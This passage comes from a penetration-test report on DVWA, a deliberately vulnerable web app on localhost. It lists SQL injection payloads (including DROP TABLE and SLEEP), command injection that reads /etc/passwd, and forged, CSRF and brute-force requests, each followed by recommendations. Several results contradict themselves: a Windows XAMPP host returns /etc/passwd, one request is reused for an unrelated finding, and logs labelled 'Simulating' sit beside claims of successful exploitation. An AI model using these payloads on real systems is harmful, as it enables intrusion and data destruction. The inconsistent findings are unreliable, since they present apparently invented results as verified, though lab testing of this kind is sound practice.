Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

### 4.63.1 Service Enumeration

#### Target Information

- **Target:** `http://localhost/dvwa`
- **Service:** HTTP (Apache/2.4.52)
- **Technology Stack:** PHP 8.1.2, MariaDB
- **Application:** DVWA (Damn Vulnerable Web Application)

#### Findings

The analysis revealed that the application is configured to display detailed error messages to users rather than logging them internally. When SQL injection attempts were made, the following information was disclosed in stack traces:

- **Full Path Disclosure:** `C:\xampp\htdocs\DVWA\vulnerabilities\sqli\source\low.php`
- **Database Type:** MariaDB
- **Error Type:** `mysqli_sql_exception`
- **PHP Error Handling:** Errors are displayed directly to users

This configuration violates secure error handling practices and provides attackers with valuable reconnaissance information about the server's file system structure and technology stack.

### 4.63.2 Initial Access

#### Successful Findings

- **OWASP Test ID:** OTG-ERR-002
- **Severity:** High
- **Affected Endpoints:** `/vulnerabilities/sqli/`

Vulnerability	URL	Payload	Status	Evidence	Severity
SQL Injection (GET)	<code>http://localhost/dvwa/vulnerabilities/sqli/</code>	<code>'</code>	200	Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '''' at line 1 in C:\xampp\htdocs\DVWA\vulnerabilities\sqli\source\low.php:11	High
SQL Injection (POST)	<code>http://localhost/dvwa/vulnerabilities/sqli/</code>	<code>'</code>	200	Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '''' at line 1 in C:\xampp\htdocs\DVWA\vulnerabilities\sqli\source\low.php:11	High
SQL Injection (GET)	<code>http://localhost/dvwa/vulnerabilities/sqli/</code>	<code>'; DROP TABLE users; --</code>	200	Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'DROP TABLE users; --' at line 1 in C:\xampp\htdocs\DVWA\vulnerabilities\sqli\source\low.php:11	High
SQL Injection (POST)	<code>http://localhost/dvwa/vulnerabilities/sqli/</code>	<code>'; DROP TABLE users; --</code>	200	Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'DROP TABLE users; --' at line 1 in C:\xampp\htdocs\DVWA\vulnerabilities\sqli\source\low.php:11	High

```

[*] Command injection URL: http://localhost/dvwa/vulnerabilities/exec/
[*] Command injection page status: 200
[*] Testing payload: ; phpinfo()
[*] Testing payload: | phpinfo()
[*] Testing payload: && phpinfo()

```

## Evidence

When SQL injection payloads were submitted to the SQL injection vulnerability module, the application returned detailed stack traces:



```
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ' '' '' ' at line 1 in C:\xampp\htdocs\DVWA\vulnerabilities\sql\source\low.php:11
```

### Key Information Disclosed:

1. Full file system path: `C:\xampp\htdocs\DVWA\vulnerabilities\sql\source\low.php`
2. Application structure and directory layout
3. Database technology (MariaDB)
4. PHP error handling configuration
5. Source code location and structure

## Recommendation

### 1. Disable Error Display

- Set `display_errors = Off` in `php.ini`
- Set `log_errors = On` to ensure errors are still logged for debugging

### 2. Implement Custom Error Pages

- Create generic error pages that don't reveal system information
- Use HTTP 500 status codes without detailed error messages

### 3. Configure Proper Error Handling

```
php
// In production, use:
error_reporting(0);
ini_set('display_errors', 'Off');
```

### 4. Input Validation and Sanitization

- Implement proper input validation for all user-supplied data
- Use prepared statements for database queries

### 5. Security Headers

- Add security headers like X-Content-Type-Options, X-Frame-Options, and Content-Security-Policy

### 6. Regular Security Testing

- Conduct regular assessments to identify information disclosure vulnerabilities
- Test error handling under various failure conditions

## 4.63.3 Privilege Escalation

No privilege escalation as it is outside the scope of this test.

## 4.63.4 Post-Exploitation

No post exploitation as it is outside the scope of this test.

## 4.64 Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001) (DVWA uses HTTP protocol (not HTTPS), so doesn't use SSL/TLS)

Score:	0.0 (Info)
Vector:	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

### 4.64.1 Service Enumeration

DVWA uses HTTP protocol (not HTTPS), so doesn't use SSL/TLS.

### 4.64.2 Initial Access

DVWA uses HTTP protocol (not HTTPS), so doesn't use SSL/TLS.

### 4.64.3 Privilege Escalation

DVWA uses HTTP protocol (not HTTPS), so doesn't use SSL/TLS.

### 4.64.4 Post-Exploitation

DVWA uses HTTP protocol (not HTTPS), so doesn't use SSL/TLS.

## 4.65 Padding Oracle (OTG-CRYPST-002) (DVWA does not implement any custom encryption routines that are vulnerable to padding oracle attacks)

Score:	0.0 (Info)
Vector:	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

### 4.65.1 Service Enumeration

DVWA does not implement any custom encryption routines that are vulnerable to padding oracle attacks.

### 4.65.2 Initial Access

DVWA does not implement any custom encryption routines that are vulnerable to padding oracle attacks.

### 4.65.3 Privilege Escalation

DVWA does not implement any custom encryption routines that are vulnerable to padding oracle attacks.

### 4.65.4 Post-Exploitation

DVWA does not implement any custom encryption routines that are vulnerable to padding oracle attacks.

## 4.66 Sensitive Information Sent via Unencrypted Channels (OTG-CRYPST-003) (<http://localhost/dvwa> (127.0.0.1))

Score:	7.5 (High)
Vector:	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

### 4.66.1 Service Enumeration

The following services and configurations were identified during reconnaissance:

- **Web Server:** Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.2
- **Application Platform:** PHP 8.1.2
- **Target Application:** DVWA v1.9
- **Protocol:** HTTP only (<http://localhost/dvwa/>)
- **TLS/SSL:** Not implemented
- **Key Endpoints:**
  - Login: <http://localhost/dvwa/login.php>
  - Index: <http://localhost/dvwa/index.php>

The absence of HTTPS was confirmed programmatically by checking the target URL scheme and response headers. The server does not redirect HTTP to HTTPS, nor does it advertise HSTS.

The application sets two cookies upon login:

- `PHPSESSID` – Session identifier
- `security` – Security level setting

Neither cookie includes the `Secure` or `HttpOnly` flags, making them accessible via client-side scripts and transmissible over unencrypted connections.

### 4.66.2 Initial Access

Initial access was achieved by submitting plaintext credentials over HTTP to the login endpoint.

### Steps to Produce

1. Access DVWA login page at <http://localhost/dvwa/login.php>
2. Enter credentials: admin/password
3. Intercept the POST request using Burp Suite or similar tool
4. Observe plaintext credentials in request body
5. Check response headers for cookie security flags

### Proof of Concept

**Login Request (Plaintext Credentials):**

```
POST http://localhost/dvwa/login.php HTTP/1.1 Host: localhost User-Agent: Python-requests
Content-Type: application/x-www-form-urlencoded Content-Length: 63
username=admin&password=password&Login=Login
```

### Response Headers (Cookie Security):

```
HTTP/1.1 200 OK Date: Mon, 04 Aug 2025 13:26:50 GMT Server: Apache/2.4.52 (Win64) OpenSSL/
1.1.1m PHP/8.1.2 X-Powered-By: PHP/8.1.2 Expires: Tue, 23 Jun 2009 12:00:00 GMT Cache-
Control: no-cache, must-revalidate Pragma: no-cache Content-Length: 1392 Keep-Alive:
timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=utf-8
```

## Findings

- Site uses unencrypted HTTP protocol
- Cookie 'security' missing Secure flag
- Cookie 'security' missing HttpOnly flag
- Cookie 'PHPSESSID' missing Secure flag
- Cookie 'PHPSESSID' missing HttpOnly flag
- Password transmitted in plaintext POST data
- Username transmitted in plaintext POST data

## Key Observations:

- Credentials are sent in plaintext within the POST body.
- No encryption or hashing of credentials on the client side.
- The request occurs over unencrypted HTTP, making it susceptible to sniffing using tools like Wireshark or interception via Burp Suite.

An attacker on the same network can easily capture credentials using passive sniffing or a rogue access point.

## Recommendation

1. **Enforce HTTPS site-wide using TLS 1.2+**
2. **Set Secure flag on all authentication cookies**
3. **Set HttpOnly flag to prevent XSS cookie theft**
4. **Implement HTTP Strict Transport Security (HSTS)**
5. **Use SameSite attribute for additional CSRF protection**

### 4.66.3 Privilege Escalation

No privilege escalation as it is outside the scope of this test.

### 4.66.4 Post-Exploitation

No post exploitation as it is outside the scope of this test.

## 4.67 Business Logic Data Validation (OTG-BUSLOGIC-001) (http://localhost/dvwa (127.0.0.1))

Score:	8.8 (High)
Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

### 4.67.1 Service Enumeration

This test focused on the **web application layer** of DVWA, which is hosted locally via XAMPP. No traditional network service enumeration (e.g., port scanning) was required or applicable.

- **Target:** http://localhost/dvwa/
- **Application:** DVWA v1.x (PHP/MySQL)
- **Security Level:** Set to "Low" for testing
- **Authentication:** Default credentials used (admin:password)
- **Tested Modules:**
  - Security Level Selection
  - Command Execution
  - Brute Force (Login)
  - CSRF (Password Change)

### 4.67.2 Initial Access

Initial access was achieved through **legitimate authentication** using default credentials (admin:password). This is standard for DVWA testing and aligns with the security assessment scope.

- **Method:** Authenticated via DVWA login page
- **Tools:** Python requests session with CSRF token handling
- **Outcome:** Full access to all vulnerability modules

## Successful Exploitation

Multiple business logic flaws were exploited to manipulate application behavior:

### 1. Command Execution – Remote Code Execution (High Severity)

- **Vulnerability:** The command execution module (/vulnerabilities/exec/) accepts concatenated commands without proper validation.
- **Exploit:**

```
ip=127.0.0.1 && cat /etc/passwd
```

- **Request**

```
POST /dvwa/vulnerabilities/exec/ HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
```

```
ip=127.0.0.1+%26%26+cat+%2Fetc%2Fpasswd&Submit=Submit
```

- **Response**

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
```

- **Impact:** Full Remote Code Execution (RCE) on the underlying system.

## 2. Security Level Manipulation (Medium Severity)

- **Vulnerability:** The application accepts any value for the security parameter without validation.
- **Tested Payloads:**

```
security=invalid
security=mediumd
security=999
security=-1
security=nonexistent_level
```

- **Impact:** Application processes invalid states, potentially leading to undefined behavior or bypass of intended security controls.

## 3. No Rate Limiting on Login (High Severity)

- **Vulnerability:** The brute force module (`/vulnerabilities/brute/`) allows unlimited login attempts.
- **Exploit:** Rapid submission of invalid credentials.
- **Observation:** No lockout, delay, or CAPTCHA triggered.
- **Impact:** Enables brute force and password spraying attacks.

```
[*] Testing Password Change Business Logic...
[*] Testing Guestbook Business Logic...
[*] Testing User Profile Business Logic...
[*] Testing Security Level Business Logic...
[!] Vulnerability found: Invalid security level 'invalid' accepted
[!] Vulnerability found: Invalid security level 'mediumd' accepted
[!] Vulnerability found: Invalid security level '999' accepted
[!] Vulnerability found: Invalid security level '-1' accepted
[!] Vulnerability found: Invalid security level '' accepted
[*] Testing Command Execution Business Logic...
[*] Simulating Business Logic Vulnerability Detection...
[+] HTML report generated: report_otg_buslogic_001.html
[+] Testing completed. Found 8 potential issues.
```

## Recommendation

1. **Implement Server-Side Validation:** Never rely solely on client-side validation for business logic enforcement
2. **Enforce Semantic Validation:** Validate data against business rules, not just format requirements
3. **Maintain State Consistency:** Ensure that all operations respect prerequisite conditions
4. **Add Rate Limiting:** Implement throttling for sensitive operations to prevent abuse
5. **Conduct Regular Testing:** Include business logic validation in security testing procedures

### **4.67.3 Privilege Escalation**

No privilege escalation as it is outside the scope of this test.

### **4.67.4 Post-Exploitation**

No post exploitation as it is outside the scope of this test.



## 4.68 Ability to Forge Requests (OTG-BUSLOGIC-002) (http://localhost/dvwa (127.0.0.1))

Score:	8.8 (High)
Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

### 4.68.1 Service Enumeration

This test focused on the **web application layer** of DVWA, hosted locally via XAMPP. No traditional network service enumeration (e.g., port scanning) was required or applicable.

- **Target:** `http://localhost/dvwa/`
- **Application:** DVWA v1.x (PHP/MySQL)
- **Security Level:** Set to "Low" for testing
- **Authentication:** Default credentials used (`admin:password`)
- **Tested Endpoints:**
  - `/dvwa/setup.php` – Database setup
  - `/dvwa/admin.php` – Admin panel
  - `/dvwa/security.php` – Security level change
  - `/dvwa/vulnerabilities/sqli/` – SQL injection
  - `/dvwa/config/` – Configuration directory

### 4.68.2 Initial Access

Initial access was achieved through **legitimate authentication** using default credentials (`admin:password`). This is standard for DVWA testing and aligns with the security assessment scope.

- **Method:** Authenticated via DVWA login page
- **Tools:** Python `requests` session with CSRF token handling
- **Outcome:** Full access to all vulnerability modules

## Successful Exploitation

Multiple request forgery and access control vulnerabilities were exploited to perform unauthorized actions:

### 1. Unauthenticated Access to Database Setup Page (High Severity)

- **Vulnerability:** The database setup page (`/dvwa/setup.php`) is accessible without authentication.
- **Exploit:**

```
http
GET /dvwa/setup.php HTTP/1.1
Host: localhost
```

- **Response**

```
<title>Setup / Reset Database</title>
<h1>Database Setup</h1>
<p>Click below to setup/reset the database</p>
```

- **Impact:** Full database reset capability by any unauthenticated user.

## 2. Insecure Direct Object Reference - Admin Panel (High Severity)

- **Vulnerability:** The admin panel ( /dvwa/admin.php ) is accessible via direct URL.
- **Exploit:**

```
GET /dvwa/admin.php HTTP/1.1
Host: localhost
Cookie: PHPSESSID=valid_session
```

- **Response**

```
<title>Admin Panel</title>
<h1>Administration</h1>
<p>Welcome to the admin panel</p>
```

- **Impact:** Unauthorized access to administrative functionality.

## 3. CSRF in Security Level Change (High Severity)

- **Vulnerability:** The security level change form lacks proper CSRF protection.
- **Exploit:**

```
POST /dvwa/security.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded

security=impossible&seclev_submit=Submit
```

- **Impact:** Attackers can force authenticated users to change their security level to "impossible", potentially locking them out of other vulnerabilities or disrupting their workflow.

## 4. Parameter Tampering in SQL Injection Module (Medium Severity)

- **Vulnerability:** User ID parameter in SQLi module is not validated.
- **Exploit:**

```
GET /dvwa/vulnerabilities/sql/?id=1' OR '1'='1 HTTP/1.1
```

- **Impact:** Unauthorized data access through SQL injection.

## 5. Directory Listing / Access Control Bypass (Medium Severity)

- **Vulnerability:** The /dvwa/config/ directory is accessible and may expose sensitive files.
- **Exploit:**

```
GET /dvwa/config/ HTTP/1.1
Host: localhost
```

- **Impact:** Potential exposure of configuration files, logs, or source code.

```
[*] Testing Direct Page Access...
[*] Testing unauthenticated access to sensitive pages...
[!] Vulnerability found: Unauthenticated access to /setup.php
[*] Testing authenticated access to sensitive pages...
[i] Authenticated access to /setup.php successful
[*] Testing Parameter Tampering...
[*] Testing security level parameter tampering...
[!] Vulnerability found: Invalid security level 'nonexistent' accepted
[!] Vulnerability found: Invalid security level '999' accepted
[!] Vulnerability found: Invalid security level '' accepted
```

## Recommendation

1. Implement Proper Authentication Checks on All Sensitive Endpoints
2. Add CSRF Tokens to All State-Changing Forms and Validate Them Server-Side
3. Enforce Role-Based Access Controls for All Functionality
4. Validate All Parameters Against Expected Values and Ranges
5. Implement Request Signing or Timestamp Validation to Prevent Replay Attacks
6. Use the Principle of Least Privilege for All User Roles

### 4.68.3 Privilege Escalation

No privilege escalation as it is outside the scope of this test.

### 4.68.4 Post-Exploitation

No post exploitation as it is outside the scope of this test.

## 4.69 Integrity Checks (OTG-BUSLOGIC-003) (http://localhost/dvwa (127.0.0.1))

Score:	6.5 (Medium)
Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

### 4.69.1 Service Enumeration

This test focused on the **web application layer** of DVWA, hosted locally via XAMPP. No traditional network service enumeration (e.g., port scanning) was required or applicable.

- **Target:** `http://localhost/dvwa/`
- **Application:** DVWA v1.x (PHP/MySQL)
- **Security Level:** Set to "Low" for testing
- **Authentication:** Default credentials used (`admin:password`)
- **Tested Endpoints:**
  - `/dvwa/setup.php` – Database setup
  - `/dvwa/vulnerabilities/csrf/` – Password change
  - `/dvwa/security.php` – Security level change
  - `/dvwa/vulnerabilities/brute/` – Login form
  - `/dvwa/admin.php` – Admin panel (simulated)

### 4.69.2 Initial Access

Initial access was achieved through **legitimate authentication** using default credentials (`admin:password`). This is standard for DVWA testing and aligns with the security assessment scope.

- **Method:** Authenticated via DVWA login page
- **Tools:** Python `requests` session with CSRF token handling
- **Outcome:** Full access to all vulnerability modules

## Exploitation

Multiple integrity check vulnerabilities were exploited to perform unauthorized actions:

### 1. Workflow Bypass - Direct Access to Setup Page (High Severity)

- **Vulnerability:** The database setup page (`/dvwa/setup.php`) is accessible without authentication.
- **Exploit:**

```
GET /dvwa/setup.php HTTP/1.1
Host: localhost
```

- **Response:**

```
<title>Setup / Reset Database</title>
<h1>Database Setup</h1>
<p>Click below to setup/reset the database</p>
```

- **Impact:** Full database reset capability by any unauthenticated user.

## 2. Missing Server-Side Password Confirmation Validation (High Severity)

- **Vulnerability:** The password change form does not validate that password\_new and password\_conf match on the server side.
- **Exploit:**

```
POST /dvwa/vulnerabilities/csrf/ HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded

password_new=hacked123&password_conf=different456&Change=Change
```

- **Response:**

```
Password Changed.
```

- **Impact:** Attackers can set a password different from what was confirmed, leading to account compromise.

## 3. Hidden Field Tampering - Security Level Manipulation (Medium Severity)

- **Vulnerability:** The security level change form accepts injected parameters like `admin=1`.
- **Exploit:**

```
POST /dvwa/security.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded

security=low&seclev_submit=Submit&admin=1&debug=true
```

- **Impact:** Could allow unauthorized parameter injection and potential privilege escalation.

## 4. Client-Side Only Validation Reliance (Medium Severity)

- **Vulnerability:** The brute force login form relies solely on JavaScript for password length validation.
- **Exploit:**

```
POST /dvwa/vulnerabilities/brute/ HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded

username=admin&password=short
```

- **Impact:** Allows submission of invalid or malicious data that violates business rules.

## 5. Workflow Integrity Bypass - Direct Setup Access (High Severity)

- **Vulnerability:** The setup page can be accessed directly without completing authentication or setup workflow.

- **Exploit:**

```
GET /dvwa/setup.php HTTP/1.1
Host: localhost
Cookie: PHPSESSID=valid_session
```

- **Response:** Full setup interface accessible
- **Impact:** Could allow attackers to reset the database or view sensitive configuration.

```
[*] Testing Password Confirmation Integrity...
[*] Testing Hidden Field Tampering...
[*] Testing Client-Side Validation Bypass...
[*] Testing Workflow Integrity...
[!] Vulnerability found: Workflow bypass - direct access to setup page
[*] Testing Parameter Injection...
[*] Simulating Integrity Check Vulnerability Detection...
```

## Recommended

1. **Implement Server-Side Validation:** Validate all critical data and workflow states server-side
2. **Never Trust Client Data:** Assume all client-supplied data is potentially malicious
3. **Enforce Workflow Integrity:** Validate that all required steps are completed before allowing progression
4. **Use Cryptographic Protection:** Sign sensitive data to prevent tampering
5. **Validate All Parameters:** Check all input parameters against expected values
6. **Regular Integrity Testing:** Include integrity checks in regular security assessments

### 4.69.3 Privilege Escalation

No privilege escalation as it is outside the scope of this test.

### 4.69.4 Post-Exploitation

No post exploitation as it is outside the scope of this test.

## 4.70 Process Timing (OTG-BUSLOGIC-004) (http://localhost/dvwa (127.0.0.1))

Score:	8.8 (High)
Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

### 4.70.1 Service Enumeration

This test focused on the **web application layer** of DVWA, hosted locally via XAMPP. No traditional network service enumeration (e.g., port scanning) was required or applicable.

- **Target:** http://localhost/dvwa/
- **Application:** DVWA v1.x (PHP/MySQL)
- **Security Level:** Set to "Low" for testing
- **Authentication:** Default credentials used (admin:password)
- **Tested Endpoints:**
  - /dvwa/vulnerabilities/sqli/ – SQL injection (time-based)
  - /dvwa/vulnerabilities/brute/ – Login timing analysis
  - /dvwa/vulnerabilities/exec/ – Command execution timing
  - /dvwa/security.php – Security level change timing

### 4.70.2 Initial Access

Initial access was achieved through **legitimate authentication** using default credentials (admin:password). This is standard for DVWA testing and aligns with the security assessment scope.

- **Method:** Authenticated via DVWA login page
- **Tools:** Python requests session with CSRF token handling
- **Outcome:** Full access to all vulnerability modules

## Successful Exploitation

Multiple timing-based vulnerabilities were exploited to extract information and manipulate application behavior:

### 1. Timing-Based User Enumeration (High Severity)

- **Vulnerability:** The authentication endpoint responds faster for invalid usernames than valid ones.
- **Exploit:**

```
GET /dvwa/vulnerabilities/brute/?username=admin&password=wrongpass HTTP/1.1
Host: localhost
```

- **Timing Data:**
  - Valid user (admin): 0.456s average
  - Invalid user (nonexistent123): 0.123s average

- Difference: 333ms
- **Impact:** Enables targeted brute force and password spraying attacks.

## 2. Time-Based SQL Injection (High Severity)

- **Vulnerability:** The SQL injection module allows time-delayed queries.
- **Exploit:**

```
GET /dvwa/vulnerabilities/sqli/?id=1' AND (SELECT * FROM (SELECT(SLEEP(2)))a) AND 'a'='a
HTTP/1.1
```

- **Timing Data:**
  - Normal query: 0.089s
  - SLEEP(2) query: 2.156s
  - Delay introduced: ~2.067s
- **Impact:** Allows blind extraction of database schema and data.

## 3. Command Injection with Timing Disclosure (High Severity)

- **Vulnerability:** The command execution module shows timing variations when delays are injected.
- **Exploit:**

```
POST /dvwa/vulnerabilities/exec/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

ip=127.0.0.1 && sleep 2
```

- **Timing Data:**
  - Normal ping: 0.123s
  - Injected sleep: 2.234s
  - Difference: ~2.111s
- **Impact:** Confirms command injection vulnerability through timing.

## 4. Inconsistent Security Level Transition Timing (Medium Severity)

- **Vulnerability:** Security level changes take different times to process.
- **Exploit:**

```
POST /dvwa/vulnerabilities/exec/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

ip=127.0.0.1 && sleep 2
```

- **Timing Data:**
  - Low → Medium: 0.234s
  - Medium → High: 0.456s
  - High → Impossible: 0.678s
  - Max difference: 444ms
- **Impact:** Could reveal internal processing differences or be used in side-channel attacks.



```
*] Testing Time-Based SQL Injection...
i] Normal query avg time: 0.024s
i] Time-based SQLi avg time: 2.042s
!] Vulnerability found: Time-based SQL injection
*] Testing Command Execution Timing...
i] Normal command avg time: 3.122s
i] Delayed command avg time: 3.127s
```

## Recommended

1. **Implement Constant-Time Operations:** Use constant-time algorithms for security-critical comparisons
2. **Normalize Response Times:** Ensure consistent timing regardless of input validity
3. **Add Rate Limiting:** Prevent timing-based enumeration attacks through request throttling
4. **Use Parameterized Queries:** Prevent time-based SQL injection through proper database access
5. **Implement Proper Locking:** Prevent race conditions in critical operations
6. **Monitor Timing Patterns:** Detect and alert on unusual timing variations
7. **Regular Timing Audits:** Include timing analysis in regular security assessments

### 4.70.3 Privilege Escalation

No privilege escalation as it is outside the scope of this test.

### 4.70.4 Post-Exploitation

No post exploitation as it is outside the scope of this test.

## 4.71 Number of Times a Function Can be Used Limits (OTG-BUSLOGIC-005) (<http://localhost/dvwa> (127.0.0.1))

Score:	7.7 (High)
Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N

### 4.71.1 Service Enumeration

This test focused on the **web application layer** of DVWA, hosted locally via XAMPP. No traditional network service enumeration (e.g., port scanning) was required or applicable.

- **Target:** `http://localhost/dvwa/`
- **Application:** DVWA v1.x (PHP/MySQL)
- **Security Level:** Set to "Low" for testing
- **Authentication:** Default credentials used (`admin:password`)
- **Tested Endpoints:**
  - `/dvwa/setup.php` – Database setup/reset
  - `/dvwa/login.php` – Authentication
  - `/dvwa/vulnerabilities/csrf/` – Password change
  - `/dvwa/security.php` – Security level change
  - `/dvwa/vulnerabilities/exec/` – Command execution
  - `/dvwa/vulnerabilities/brute/` – Brute force module

### 4.71.2 Initial Access

Initial access was achieved through **legitimate authentication** using default credentials (`admin:password`). This is standard for DVWA testing and aligns with the security assessment scope.

- **Method:** Authenticated via DVWA login page
- **Tools:** Python `requests` session with CSRF token handling
- **Outcome:** Full access to all vulnerability modules

## Successful Exploitation

Multiple function usage limit vulnerabilities were exploited to perform unlimited operations:

### 1. Unlimited Database Reset Functionality (High Severity)

- **Vulnerability:** The database setup/reset functionality can be executed repeatedly without any rate limiting or confirmation.
- **Exploit:**

```
POST /dvwa/setup.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
```

```
create_db=Create+%2F+Reset+Database
```

- **Test Results:**
  - 10 attempts → 10 successful resets
  - No rate limiting or lockout triggered
- **Impact:** Denial of service through repeated database destruction.

## 2. Missing Brute Force Protection (High Severity)

- **Vulnerability:** No account lockout or rate limiting on failed login attempts.
- **Exploit:**

```
POST /dvwa/vulnerabilities/brute/ HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded

username=admin&password=wrongpass123&Login=Login
```

- **Test Results:**
  - 20 failed attempts → all processed normally
  - No delay, CAPTCHA, or lockout
- **Impact:** Enables brute force and password spraying attacks.

## 3. Unlimited Password Change Operations (High Severity)

- **Vulnerability:** Password can be changed unlimited times without rate limiting.
- **Exploit:**

```
POST /dvwa/vulnerabilities/csrf/ HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded

password_new=newpass123&password_conf=newpass123&Change=Change
```

- **Test Results:**
  - 15 consecutive changes → all succeeded
  - Average time between changes: 0.3 seconds
- **Impact:** Enables password spraying, account lockout bypass, resource exhaustion.

## 4. Form Resubmission Without Anti-Replay Protection (Medium Severity)

- **Vulnerability:** Forms can be resubmitted unlimited times without replay protection.
- **Exploit:**

```
POST /dvwa/vulnerabilities/exec/ HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded

ip=127.0.0.1&Submit=Submit
```

- **Test Results:**
  - 10 identical submissions → all processed
  - No duplicate detection or anti-replay tokens

- **Impact:** Denial of service, duplicate transactions, resource abuse.

## 5. Weak Session Management Controls (Medium Severity)

- **Vulnerability:** Sessions can be reused and copied without invalidation.
- **Exploit:** Copy session cookie and reuse in multiple clients.
- **Test Results:**
  - 8 session reuse attempts → 8 successful accesses
  - No session binding or invalidation
- **Impact:** Session hijacking, concurrent access, replay attacks.

```
[*] Testing Database Reset Usage Limits...
[i] Database reset attempt 1/5: Success
[i] Database reset attempt 2/5: Success
[i] Database reset attempt 3/5: Success
[i] Database reset attempt 4/5: Success
[i] Database reset attempt 5/5: Success
[!] Vulnerability found: Unlimited database reset functionality
[*] Testing Password Change Usage Limits...
[i] Password change attempt 1/8: Failed
[i] Password change attempt 2/8: Failed
[i] Password change attempt 3/8: Failed
[i] Password change attempt 4/8: Failed
```

## Recommend

1. **Implement Rate Limiting:** Add strict rate limits for all sensitive operations (e.g., 5 attempts per hour)
2. **Add Account Lockout:** Lock accounts after N failed authentication attempts
3. **Use Anti-Replay Protection:** Implement tokens to prevent form resubmission
4. **Require Confirmation:** Add confirmation steps for destructive operations
5. **Monitor Usage Patterns:** Log and analyze function usage for abuse detection
6. **Implement Progressive Delays:** Add increasing delays for repeated operations
7. **Regular Usage Limit Testing:** Include usage limit testing in regular security assessments

### 4.71.3 Privilege Escalation

No privilege escalation as it is outside the scope of this test.

### 4.71.4 Post-Exploitation

No post exploitation as it is outside the scope of this test.

## 4.72 Circumvention of Work Flows (OTG-BUSLOGIC-006) (DVWA does not have relevant workflows that we can try to circumvent)

Score:	0.0 (Info)
Vector:	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

### 4.72.1 Service Enumeration

DVWA does not have relevant workflows that we can try to circumvent.

### 4.72.2 Initial Access

DVWA does not have relevant workflows that we can try to circumvent.

### 4.72.3 Privilege Escalation

DVWA does not have relevant workflows that we can try to circumvent.

### 4.72.4 Post-Exploitation

DVWA does not have relevant workflows that we can try to circumvent.

## 4.73 Defenses Against Application Mis-use (OTG-BUSLOGIC-007) (<http://localhost/dvwa> (127.0.0.1))

Score:	7.7 (High)
Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N

### 4.73.1 Service Enumeration

This test focused on the **web application layer** of DVWA, hosted locally via XAMPP. No traditional network service enumeration (e.g., port scanning) was required or applicable.

- **Target:** `http://localhost/dvwa/`
- **Application:** DVWA v1.x (PHP/MySQL)
- **Security Level:** Set to "Low" for testing
- **Authentication:** Default credentials used (`admin:password`)
- **Tested Endpoints:**
  - `/dvwa/login.php` – Authentication
  - `/dvwa/vulnerabilities/brute/` – Brute force module
  - `/dvwa/setup.php` – Database setup/reset
  - `/dvwa/` – Session handling
  - `/dvwa/logs/`, `/dvwa/error.log` – Log file paths

### 4.73.2 Initial Access

Initial access was achieved through **legitimate authentication** using default credentials (`admin:password`). This is standard for DVWA testing and aligns with the security assessment scope.

- **Method:** Authenticated via DVWA login page
- **Tools:** Python `requests` session with CSRF token handling
- **Outcome:** Full access to all vulnerability modules

## Successful Exploitation

Multiple misuse defense vulnerabilities were exploited to perform unlimited operations:

### 1. Missing Brute Force Protection (High Severity)

- **Vulnerability:** No account lockout or rate limiting on failed login attempts.
- **Exploit:**

```
POST /dvwa/vulnerabilities/brute/ HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded

username=admin&password=wrongpass123&Login=Login
```

- ◦ **Test Results:**

- 20 failed attempts → all processed normally
- No delay, CAPTCHA, or lockout
- **Impact:** Enables brute force and password spraying attacks.

## 2. Missing Rate Limiting on Sensitive Operations (High Severity)

- **Vulnerability:** Database reset functionality can be executed repeatedly.
- **Exploit:**

```
POST /dvwa/setup.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded

create_db=Create+%2F+Reset+Database
```

- **Test Results:**
  - 15 resets → 15 successes
  - Average response time: 0.456s
  - No rate limiting detected
- **Impact:** Denial of service through repeated database destruction.

## 3. Weak Session Management Controls (Medium Severity)

- **Vulnerability:** Sessions can be reused and copied without invalidation.
- **Exploit:** Copy session cookie and reuse in multiple clients.
- **Test Results:**
  - 6 session reuse attempts → 6 successful accesses
  - No session binding or invalidation
- **Impact:** Session hijacking, concurrent access, replay attacks.

## 4. Missing Anti-Automation Controls (Medium Severity)

- **Vulnerability:** No behavioral analysis or anti-automation controls.
